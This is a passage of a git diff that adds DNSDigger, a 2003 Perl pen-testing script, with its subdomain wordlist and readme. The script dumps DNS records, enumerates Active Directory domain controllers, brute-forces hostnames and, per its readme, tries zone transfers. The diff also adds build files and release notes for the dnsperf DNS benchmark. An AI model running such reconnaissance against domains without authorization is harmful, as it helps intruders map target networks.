+"PTR", +"PX", +"RP", +"RT", +"SOA", +"TKEY", +"TSIG", +"TXT", +"WKS", +"X25" +); +foreach $i (@dnstypes) { + print "\nTrying $i Record Type ...\n"; + $packet=$res->query($domain, $i); + if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +} +} + +sub get_activedir{ +print "\nLooking for Active Directory SRV Records ...\n"; +$res->usevc(0); +@srvtype=( +"_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.", +"_kerberos._tcp.Default-First-Site-Name._sites.", +"_kerberos._tcp.dc._msdcs.", +"_kerberos._tcp.", +"_kerberos._udp.", +"_kpasswd._tcp.", +"_kpasswd._udp.", +"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.", +"_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.", +"_ldap._tcp.Default-First-Site-Name._sites.", +"_ldap._tcp.dc._msdcs.", +"_ldap._tcp.gc._msdcs.", +"_ldap._tcp.pdc._msdcs.", +"_ldap._tcp.", +"_gc._tcp.Default-First-Site-Name._sites.", +"_gc._tcp." +); +foreach $i (@srvtype) { + $service = $i.$domain; + print "\nTrying $service ...\n"; + $packet=$res->query($service, 'SRV'); + if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +} +} + +sub dig_dns{ +print "\nStarting the DNS Digger ...\n"; +@hybridlst1=("0","1","2","3","4","5","6","7","8","9"); +@hybridlst2=("0","1","2","3","4","5","6","7","8","9"); +$res->usevc(0); + if (open(NAMES,"names.txt")){ + while (){ + chomp($_); + $host = $_.".".$domain; + $packet=$res->query($host, 'ANY'); + if ($packet){ + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } + if ($hybrid){ + foreach $h1 (@hybridlst1) { + foreach $h2 (@hybridlst2) { + $hybrid_host=$_.$h1.$h2.".".$domain; + $packet=$res->query($hybrid_host, 'ANY'); + if ($packet){ + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } + } + } + } + if ($silent){sleep 1}; + } + } + else {print "Can't open names.txt!\n";} +close(NAMES); +} + +sub usage(){ +print "\nUsage: perl dnsdigger.pl [OPTIONS]\n"; +print "-----------------------------------------------------------\n"; +print "OPTIONS:\n"; +print "silent : Activates a time loop of 1 second in the DNS Digger function\n"; +print "debug : Starts a debug output\n"; +print "nodig : Disable the Digger\n"; +print "port53 : Use Port 53 as Source Port\n"; +print "host : Use a specific DNS Server and must be followed by the IP Address\n"; +print "hybrid : Appends 01 to 99 to the names while digging\n"; +print "version: Try to get the DNS Server Version\n"; +print "\nEXAMPLES:\n"; +print "perl dnsdigger.pl example.com\n"; +print "perl dnsdigger.pl example.com silent\n"; +print "perl dnsdigger.pl example.com debug\n"; +print "perl dnsdigger.pl example.com host 10.1.1.1\n"; +exit; +} + +# Main Programm +if (@ARGV==0){usage();} +$dig=1; +$root=1; +$version=0; +print "\n"; +print "DNSDigger 0.3beta (c) 2003 by Michael Thumann (mthumann\@ernw.de)\n"; +print "----------------------------------------------------------------------\n\n"; +$res = Net::DNS::Resolver->new; +$res->tcp_timeout(5); +$res->udp_timeout(5); +$res->retry(2); +$res->retrans(3); +if (@ARGV==1){ + $domain=$ARGV[0]; + if (find_rootserver()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } +if (@ARGV>=2){ + $domain=$ARGV[0]; + for ($o=1;$o<=@ARGV;$o++){ + $option=$ARGV[$o]; + if ($option eq "silent") {$silent=1;print "Time Loop enabled!\n"} + if ($option eq "debug") {$res->debug(1);print "Debug enabled!\n";} + if ($option eq "port53") {$res->srcport(53);print "Switching to Source Port 53!\n";} + if ($option eq "nodig") {$dig=0;print "Digger disabled!\n";} + if ($option eq "version") {$version=1;print "Query DNS Server Version enabled!\n";} + if ($option eq "hybrid") {$hybrid=1;print "Hybrid Mode for Digger enabled!\n";} + if ($option eq "host") { + $root=0; + print "Use specific DNS Server!\n"; + $ns=$ARGV[$o+1]; + } + } + if ($root){ + if (find_rootserver()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } + else{ + if (get_dns()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } + } +# end diff --git a/dns-projects/dnsdigger/names.txt b/dns-projects/dnsdigger/names.txt new file mode 100644 index 0000000..8ce32d6 --- /dev/null +++ b/dns-projects/dnsdigger/names.txt @@ -0,0 +1,319 @@ +ILMI +academico +acceso +access +acid +admin +admins +administracion +administrador +afiliados +agenda +agent +aix +alerts +antivirus +app +apps +appserver +archie +as400 +auto +ayuda +backup +banking +bbs +bbdd +bea +beta +bolsa +buscador +ca +canal +catalog +certify +cgi +channel +channels +chat +chats +cisco +clientes +club +cluster +clusters +code +commerce +community +compaq +compras +consola +console +consumer +contact +contracts +corporate +correo +correoweb +cortafuegos +cso +data +datos +db +db2 +default +demo +desarrollo +descargas +design +dev +develop +developer +device +dial +digital +dilbert +directory +disc +discovery +disk +disney +dns +dns1 +dns2 +dns3 +dns-2 +docs +documentos +documentacion +domain +domains +dominio +domino +dominoweb +download +earth +ecommerce +e-commerce +edi +education +ejemplo +email +empresa +empresas +enable +engine +engineer +enterprise +estadisticas +events +example +exchange +extern +external +extranet +fax +field +firewall +formacion +foro +foros +forum +forums +foto +fotos +fsp +ftp +ftp2 +fw +fw1 +fw-1 +galeria +galerias +galleries +games +gateway +gopher +guest +gw +hello +help +helpdesk +helponline +hp +ibm +ibmdb +ids +images +imap +imap4 +img +info +intern +internal +intranet +invalid +ipsec +ipsec-gw +irc +ircserver +jobs +juegos +ldap +link +linux +lista +lists +listserver +localhost +log +login +lotus +mail +mailhost +management +manager +map +maps +mapas +marketing +media +members +messenger +mngt +mobile +monitor +mrtg +multimedia +music +names +netdata +netstats +network +news +nms +nntp +nombres +noticias +ns +ns1 +ns2 +ntp +online +openview +outlook +oracle +page +pages +paginas +partner +partners +pda +personal +ph +pictures +pix +pop +pop3 +portal +postales +prensa +press +private +proxy +prueba +pruebas +project +projects +public +ra +radio +raptor +ras +read +register +registro +remote +reports +resumenes +root +router +rwhois +sac +schedules +scotty +search +secret +secure +security +seri +serv +serv2 +server +service +services +servicio +servidor +shop +shopping +site +sms +smtp +smtphost +snmp +snmpd +snort +solaris +solutions +soporte +source +sql +ssl +stats +store +streaming +sun +support +switch +sysback +system +tech +terminal +test +tienda +time +tivoli +transfers +training +uddi +update +video +vpn +wais +wap +web +webdocs +weblib +weblogic +webmail +webserver +webservices +websphere +whois +wireless +work +world +write +w1 +w2 +w3 +ws +ws1 +ws2 +ws3 +www +www1 +www2 +www3 + + diff --git a/dns-projects/dnsdigger/readme.txt b/dns-projects/dnsdigger/readme.txt new file mode 100644 index 0000000..0615b35 --- /dev/null +++ b/dns-projects/dnsdigger/readme.txt @@ -0,0 +1,41 @@ +DNSDigger is a programm to gather as much as possible informations from DNS Servers. Two different methods are use: + +1. DNS Server Query +Query every DNS Server that is responsible for the domain, primary and each secondary. Sometimes only one DNS Server is misconfigured, but that could be enough to get the whole zone file or a provider DNS is used. Some providers allow zone transfers from their DNS Servers. + +2. DNS Digging +The idea is to use the same technique as with password attacks based on dictionaries to find hostnames hidden in the DNS zone.There's a names.txt which contains the dictionary. The option HYBRID will append the nummbers 01 to 99 to each entry in the names.txt to uncover additional hostnames. + +3. DNS Server Version +DNSDigger uses a chaos class query to find out which DNS Server is running. Microsoft DNS Server and TinyDNS answer with a very special error message and BIND responds with it's version, if not configured to fake the information. + +4. Active Directory +DNSdigger queries the common SRV records for windows 2000 domain controllers to identify them. + +The tools might be useful for all pen-testers that have to gather DNS informations during a pen-test. + +The program is in beta state, so there might be bugs. If you find some please report them to mthumann@ernw.de + +You need the NET::DNS Module from Michael Fuhr to run the program. You can download it from the original website +http://www.net-dns.org +or from activestate for ActivePerl +http://ppm.activestate.com/PPMPackages/zips/6xx-builds-only/Net-DNS-0.34.zip + +For resolving dns names enter the ip address of your favorite dns server in the file dns-server.dat + +Known bugs: +None so far ;-)) + +License: +Copyright (c) 2003 Michael Thumann. +You can use and distribute the program for free as long as the code is not modified. + +Disclaimer: +The program is provided "AS IS" without warranty +of any kind. In no event shall the author be liable for any damages +whatsoever including direct, indirect, incidental, consequential, +loss of business profits or special damages due to the misuse of this +program. + + + diff --git a/dns-projects/dnsdigger/root-servers.dat b/dns-projects/dnsdigger/root-servers.dat new file mode 100644 index 0000000..cd5e9c8 --- /dev/null +++ b/dns-projects/dnsdigger/root-servers.dat @@ -0,0 +1,13 @@ +198.41.0.4 +128.9.0.107 +192.33.4.12 +128.8.10.90 +192.203.230.10 +192.5.5.241 +192.112.36.4 +128.63.2.53 +192.36.148.17 +192.58.128.30 +193.0.14.129 +198.32.64.12 +202.12.27.33 \ No newline at end of file diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/Makefile.in b/dns-projects/dnsperf-src-2.0.0.0-1/Makefile.in new file mode 100644 index 0000000..edcd668 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/Makefile.in @@ -0,0 +1,55 @@ +# Copyright 2000, 2001, 2003, 2006-2012 Nominum, Inc. All Rights Reserved. + +prefix = @prefix@ +exec_prefix = @exec_prefix@ +bindir = @bindir@ +mandir = @mandir@ +datarootdir = @datarootdir@ + +INSTALL = @INSTALL@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_DATA = @INSTALL_DATA@ +RANLIB = @RANLIB@ + +CC = @PTHREAD_CC@ +CFLAGS = @CFLAGS@ @DNSCFLAGS@ @DEFS@ @PTHREAD_CFLAGS@ +LIBS = libperf.a @LIBS@ @DNSLIBS@ @PTHREAD_LIBS@ -lm +LIBOBJS = @LIBOBJS@ +LDFLAGS = @LDFLAGS@ @PTHREAD_CFLAGS@ + +PERFOBJS = datafile.o dns.o log.o net.o opt.o os.o + +all: dnsperf resperf + +libperf.a: ${PERFOBJS} + ${AR} ${ARFLAGS} $@ ${PERFOBJS} + ${RANLIB} $@ + +dnsperf: dnsperf.o libperf.a $(LIBOBJS) + $(CC) $(LDFLAGS) dnsperf.o $(LIBOBJS) $(LIBS) -o dnsperf + +resperf: resperf.o libperf.a $(LIBOBJS) + $(CC) $(LDFLAGS) resperf.o $(LIBOBJS) $(LIBS) -o resperf + +.c.o: + $(CC) $(CFLAGS) -c $< + +installdirs: + mkdir -p ${DESTDIR}${bindir} + mkdir -p ${DESTDIR}${mandir}/man1 + +install: all installdirs + ${INSTALL_PROGRAM} dnsperf ${DESTDIR}${bindir} + ${INSTALL_PROGRAM} resperf ${DESTDIR}${bindir} + ${INSTALL_PROGRAM} resperf-report ${DESTDIR}${bindir} + ${INSTALL_DATA} dnsperf.1 ${DESTDIR}${mandir}/man1 + ${INSTALL_DATA} resperf.1 ${DESTDIR}${mandir}/man1 + +clean: + rm -f *.o dnsperf resperf libperf.a + +distclean: clean + rm -f config.log + rm -f config.cache + rm -f config.status + rm -f Makefile diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/README b/dns-projects/dnsperf-src-2.0.0.0-1/README new file mode 100644 index 0000000..638e233 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/README @@ -0,0 +1,21 @@ +This is dnsperf, a collection of DNS server performance testing tools. +For more information, see the dnsperf(1) and resperf(1) man pages. + +To configure, compile, and install these programs, follow these steps. + +1. Make sure that BIND 9 (9.4.0 or greater) is installed, including libraries + and header files, and that the isc-config.sh program distributed with BIND + is in your path. + + Note: many versions of bind do not correctly install the + header file, so if the compilation fails, obtain this file from the BIND + source distribution, and install it in the appropriate place. + +2. Run "sh configure" to configure the software. Most standard configure + options are supported. + +3. Run "make" to build dnsperf and resperf + +4. Run "make install" to install dnsperf and resperf. + +Additional software is available in the contrib/ directory. diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/RELEASE_NOTES b/dns-projects/dnsperf-src-2.0.0.0-1/RELEASE_NOTES new file mode 100644 index 0000000..b065b2b --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/RELEASE_NOTES @@ -0,0 +1,165 @@ +Nominum dnsperf 2.0.0.0 +Release Notes +************* + +March 1, 2012 + +In the dnsperf command, the following changes occurred: + + - The socket buffer size is no longer set to 32 kilobytes by default. + + - A new -c clients option was added to enable the server to act as + multiple clients. Each client uses the same source IP address with a + unique source port. Use the "clients" argument to specify the number of + clients represented by the server. We recommend limiting the number of + clients represented by the server because the dnsperf process uses two + threads for each client (one thread for sent packets and one for + received packets), which impacts CPU and memory. + + - Example query files are no longer included with the dnsperf program. + Nominum provides a sample query file that is available for download at: + ftp://ftp.nominum.com/pub/nominum/dnsperf/data/ + + - Latency reporting improved. When the -v (verbose mode) option is + configured with the dnsperf command, the command output now includes + latency measurements and the DNS RCODE of each response. This enables + users to create their own latency graphs. + + - Performance was enhanced on modern operating systems so that faster + name servers can be tested. + + - The dnsperf command output is enhanced to display more information in a + compact format. + +The following options were removed from the dnsperf command: + + - The -A option for displaying command line arguments passed to the + dnsperf tool in the final statistics output. Now, the dnsperf command + output always displays command line arguments. + + - The -T option for printing a histogram showing response latency after + completing a test run. Now, the -v option enables users to include + latency measurements in the dnsperf command output. + + - The -H option for configuring the number of buckets for which response + latency is displayed. Now, the -v option enables users to include + latency measurements in the dnsperf command output. + + - The -1 option for configuring the dnsperf tool to run through the input + file exactly one time. (Now, you use the -n 1 option to configure the + dnsperf tool to run through the input file one time.) + + - The -c option for including the number of responses received (for + each DNS RCODE) in the final statistics output. Now, DNS RCODE responses + are always reported. + +In the resperf command, the following changes occurred: + + - The socket buffer size is no longer set to 32 kilobytes by default. + + - The -A option, which displayed command line arguments passed to the + resperf tool in the final statistics output, was removed. Now, the + resperf command output always displays command line arguments. + + +----------------------- +Nominum dnsperf 1.0.2.0 +December 22, 2011 + +This release adds support for RHEL6-64 and for Solaris 10 x86-64. + +Some new configuration options have been added. You can now specify: + + - the local port from which to send requests + - the local address from which to send requests + - the maximum number of runs through the input file, up + to the timeout limit. + - when using TSIG, algorithms other than hmac-md5 can be used. + +One default has been changed: + + - The maximum number of outstanding requests now defaults + to 100. + +A new example query file for IPv6, queryfile-example-ipv6, is now +included with the distribution. + + +----------------------- +Nominum dnsperf 1.0.1.0 +January 10, 2008 + +This release makes binary builds of dnsperf available in addition to +the source code version previously released. + +This release of dnsperf includes a sample query file containing +100,000 queries to help with performance testing. This query file is +useful for checking latencies or a continuous dnsperf run. In the +binary distribution, this file is found at: + + /usr/local/nom/examples/dnsperf/queryfile-example-100thousand + +In the source distribution, it is at: + + ./examples/queryfile-example-100thousand + +where "." is the directory made by extracting the source tarball. + +Nominum recommends using a query file with at least 3 million queries +for a full resperf run as described in the man page; we make such a +file available for download at: + +ftp://ftp.nominum.com/pub/nominum/dnsperf/data/queryfile-example-3million.gz + +The following fix is included in the source distribution: + + - 20996: makefile.in does not allow overriding mandir + + The --mandir argument to configure, which allows the user to + specify the location man pages are installed, was incorrectly + ignored. + +"queryparse" is a contributed program available in the source +distribution of dnsperf. It can be found at contrib/queryparse/. +The following changes were made to that program: + + - 19717: contrib/queryparse includes outgoing queries + + The queryparse script had no way of distinguishing between incoming + queries and outgoing queries when applied to a traffic trace from a + caching server. This was addressed by adding a new flag (-r) that, + when included in the command line, will keep queries with + RD=0. Otherwise, it will default to discarding them. + + - The ability to parse responses instead of queries was added. + + - A check was added to avoid short packets. + + - Logic was added to detect link type and correctly set the initial + offset to handle both Ethernet and Cisco HDLC frames. + + - Queryparse now uses pcapy instead of the btk python libcap module. + +Note that announcements of new releases of dnsperf are sent to the +mailing list: dnsperf-announce@nominum.com. To be added to the +mailing list, send a message to dnsperf-announce-request@nominum.com +with "subscribe" as the subject. + +Known Issues: + + - None. + +----------------------- +Nominum dnsperf 1.0.0.1 +December 21, 2006 + +This release addresses the following issue in the dnsperf program: + + - 18838/18782: dnsperf slow down issue + + Because of an error in how timeout checking was being done, queries + were rarely timing out, so the number of valid queries in flight kept + dropping. This error has been corrected. + + + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/aclocal.m4 b/dns-projects/dnsperf-src-2.0.0.0-1/aclocal.m4 new file mode 100644 index 0000000..14b8f4e --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/aclocal.m4 @@ -0,0 +1,2 @@ +sinclude(./acx_pthread.m4)dnl + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/acx_pthread.m4 b/dns-projects/dnsperf-src-2.0.0.0-1/acx_pthread.m4 new file mode 100644 index 0000000..e4e91d3 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/acx_pthread.m4 @@ -0,0 +1,242 @@ +dnl @synopsis ACX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]]) +dnl +dnl @summary figure out how to build C programs using POSIX threads +dnl +dnl This macro figures out how to build C programs using POSIX threads. +dnl It sets the PTHREAD_LIBS output variable to the threads library and +dnl linker flags, and the PTHREAD_CFLAGS output variable to any special +dnl C compiler flags that are needed. (The user can also force certain +dnl compiler flags/libs to be tested by setting these environment +dnl variables.) +dnl +dnl Also sets PTHREAD_CC to any special C compiler that is needed for +dnl multi-threaded programs (defaults to the value of CC otherwise). +dnl (This is necessary on AIX to use the special cc_r compiler alias.) +dnl +dnl NOTE: You are assumed to not only compile your program with these +dnl flags, but also link it with them as well. e.g. you should link +dnl with $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS +dnl $LIBS +dnl +dnl If you are only building threads programs, you may wish to use +dnl these variables in your default LIBS, CFLAGS, and CC: +dnl +dnl LIBS="$PTHREAD_LIBS $LIBS" +dnl CFLAGS="$CFLAGS $PTHREAD_CFLAGS" +dnl CC="$PTHREAD_CC" +dnl +dnl In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute +dnl constant has a nonstandard name, defines PTHREAD_CREATE_JOINABLE to +dnl that name (e.g. PTHREAD_CREATE_UNDETACHED on AIX). +dnl +dnl ACTION-IF-FOUND is a list of shell commands to run if a threads +dnl library is found, and ACTION-IF-NOT-FOUND is a list of commands to +dnl run it if it is not found. If ACTION-IF-FOUND is not specified, the +dnl default action will define HAVE_PTHREAD. +dnl +dnl Please let the authors know if this macro fails on any platform, or +dnl if you have any other suggestions or comments. This macro was based +dnl on work by SGJ on autoconf scripts for FFTW (www.fftw.org) (with +dnl help from M. Frigo), as well as ac_pthread and hb_pthread macros +dnl posted by Alejandro Forero Cuervo to the autoconf macro repository. +dnl We are also grateful for the helpful feedback of numerous users. +dnl +dnl @category InstalledPackages +dnl @author Steven G. Johnson +dnl @version 2006-05-29 +dnl @license GPLWithACException + +AC_DEFUN([ACX_PTHREAD], [ +AC_REQUIRE([AC_CANONICAL_HOST]) +AC_LANG_SAVE +AC_LANG_C +acx_pthread_ok=no + +# We used to check for pthread.h first, but this fails if pthread.h +# requires special compiler flags (e.g. on True64 or Sequent). +# It gets checked for in the link test anyway. + +# First of all, check if the user has set any of the PTHREAD_LIBS, +# etcetera environment variables, and if threads linking works using +# them: +if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then + save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + save_LIBS="$LIBS" + LIBS="$PTHREAD_LIBS $LIBS" + AC_MSG_CHECKING([for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS]) + AC_TRY_LINK_FUNC(pthread_join, acx_pthread_ok=yes) + AC_MSG_RESULT($acx_pthread_ok) + if test x"$acx_pthread_ok" = xno; then + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" + fi + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" +fi + +# We must check for the threads library under a number of different +# names; the ordering is very important because some systems +# (e.g. DEC) have both -lpthread and -lpthreads, where one of the +# libraries is broken (non-POSIX). + +# Create a list of thread flags to try. Items starting with a "-" are +# C compiler flags, and other items are library names, except for "none" +# which indicates that we try without any flags at all, and "pthread-config" +# which is a program returning the flags for the Pth emulation library. + +acx_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config" + +# The ordering *is* (sometimes) important. Some notes on the +# individual items follow: + +# pthreads: AIX (must check this before -lpthread) +# none: in case threads are in libc; should be tried before -Kthread and +# other compiler flags to prevent continual compiler warnings +# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h) +# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able) +# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread) +# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads) +# -pthreads: Solaris/gcc +# -mthreads: Mingw32/gcc, Lynx/gcc +# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it +# doesn't hurt to check since this sometimes defines pthreads too; +# also defines -D_REENTRANT) +# ... -mt is also the pthreads flag for HP/aCC +# pthread: Linux, etcetera +# --thread-safe: KAI C++ +# pthread-config: use pthread-config program (for GNU Pth library) + +case "${host_cpu}-${host_os}" in + *solaris*) + + # On Solaris (at least, for some versions), libc contains stubbed + # (non-functional) versions of the pthreads routines, so link-based + # tests will erroneously succeed. (We need to link with -pthreads/-mt/ + # -lpthread.) (The stubs are missing pthread_cleanup_push, or rather + # a function called by this macro, so we could check for that, but + # who knows whether they'll stub that too in a future libc.) So, + # we'll just look for -pthreads and -lpthread first: + + acx_pthread_flags="-pthreads pthread -mt -pthread $acx_pthread_flags" + ;; +esac + +if test x"$acx_pthread_ok" = xno; then +for flag in $acx_pthread_flags; do + + case $flag in + none) + AC_MSG_CHECKING([whether pthreads work without any flags]) + ;; + + -*) + AC_MSG_CHECKING([whether pthreads work with $flag]) + PTHREAD_CFLAGS="$flag" + ;; + + pthread-config) + AC_CHECK_PROG(acx_pthread_config, pthread-config, yes, no) + if test x"$acx_pthread_config" = xno; then continue; fi + PTHREAD_CFLAGS="`pthread-config --cflags`" + PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`" + ;; + + *) + AC_MSG_CHECKING([for the pthreads library -l$flag]) + PTHREAD_LIBS="-l$flag" + ;; + esac + + save_LIBS="$LIBS" + save_CFLAGS="$CFLAGS" + LIBS="$PTHREAD_LIBS $LIBS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + + # Check for various functions. We must include pthread.h, + # since some functions may be macros. (On the Sequent, we + # need a special flag -Kthread to make this header compile.) + # We check for pthread_join because it is in -lpthread on IRIX + # while pthread_create is in libc. We check for pthread_attr_init + # due to DEC craziness with -lpthreads. We check for + # pthread_cleanup_push because it is one of the few pthread + # functions on Solaris that doesn't have a non-functional libc stub. + # We try pthread_create on general principles. + AC_TRY_LINK([#include ], + [pthread_t th; pthread_join(th, 0); + pthread_attr_init(0); pthread_cleanup_push(0, 0); + pthread_create(0,0,0,0); pthread_cleanup_pop(0); ], + [acx_pthread_ok=yes]) + + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" + + AC_MSG_RESULT($acx_pthread_ok) + if test "x$acx_pthread_ok" = xyes; then + break; + fi + + PTHREAD_LIBS="" + PTHREAD_CFLAGS="" +done +fi + +# Various other checks: +if test "x$acx_pthread_ok" = xyes; then + save_LIBS="$LIBS" + LIBS="$PTHREAD_LIBS $LIBS" + save_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS $PTHREAD_CFLAGS" + + # Detect AIX lossage: JOINABLE attribute is called UNDETACHED. + AC_MSG_CHECKING([for joinable pthread attribute]) + attr_name=unknown + for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do + AC_TRY_LINK([#include ], [int attr=$attr; return attr;], + [attr_name=$attr; break]) + done + AC_MSG_RESULT($attr_name) + if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then + AC_DEFINE_UNQUOTED(PTHREAD_CREATE_JOINABLE, $attr_name, + [Define to necessary symbol if this constant + uses a non-standard name on your system.]) + fi + + AC_MSG_CHECKING([if more special flags are required for pthreads]) + flag=no + case "${host_cpu}-${host_os}" in + *-aix* | *-freebsd* | *-darwin*) flag="-D_THREAD_SAFE";; + *solaris* | *-osf* | *-hpux*) flag="-D_REENTRANT";; + esac + AC_MSG_RESULT(${flag}) + if test "x$flag" != xno; then + PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS" + fi + + LIBS="$save_LIBS" + CFLAGS="$save_CFLAGS" + + # More AIX lossage: must compile with xlc_r or cc_r + if test x"$GCC" != xyes; then + AC_CHECK_PROGS(PTHREAD_CC, xlc_r cc_r, ${CC}) + else + PTHREAD_CC=$CC + fi +else + PTHREAD_CC="$CC" +fi + +AC_SUBST(PTHREAD_LIBS) +AC_SUBST(PTHREAD_CFLAGS) +AC_SUBST(PTHREAD_CC) + +# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND: +if test x"$acx_pthread_ok" = xyes; then + ifelse([$1],,AC_DEFINE(HAVE_PTHREAD,1,[Define if you have POSIX threads libraries and header files.]),[$1]) + : +else + acx_pthread_ok=no + $2 +fi +AC_LANG_RESTORE +])dnl ACX_PTHREAD diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/config.guess b/dns-projects/dnsperf-src-2.0.0.0-1/config.guess new file mode 100644 index 0000000..f8d6eac --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/config.guess @@ -0,0 +1,1447 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. + +timestamp='2009-01-17' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Originally written by Per Bothner . +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit build system type. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of the system \`$me' is run on. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.guess ($timestamp) + +Originally written by Per Bothner. +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +trap 'exit 1' 1 2 15 + +# CC_FOR_BUILD -- compiler used by this script. Note that the use of a +# compiler to aid in system detection is discouraged as it requires +# temporary files to be created and, as you can see below, it is a +# headache to deal with in a portable fashion. + +# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still +# use `HOST_CC' if defined, but it is deprecated. + +# Portable tmp directory creation inspired by the Autoconf team. + +set_cc_for_build=' +trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; +trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; +: ${TMPDIR=/tmp} ; + { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || + { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || + { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || + { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; +dummy=$tmp/dummy ; +tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; +case $CC_FOR_BUILD,$HOST_CC,$CC in + ,,) echo "int x;" > $dummy.c ; + for c in cc gcc c89 c99 ; do + if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then + CC_FOR_BUILD="$c"; break ; + fi ; + done ; + if test x"$CC_FOR_BUILD" = x ; then + CC_FOR_BUILD=no_compiler_found ; + fi + ;; + ,,*) CC_FOR_BUILD=$CC ;; + ,*,*) CC_FOR_BUILD=$HOST_CC ;; +esac ;' + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 1994-08-24) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown 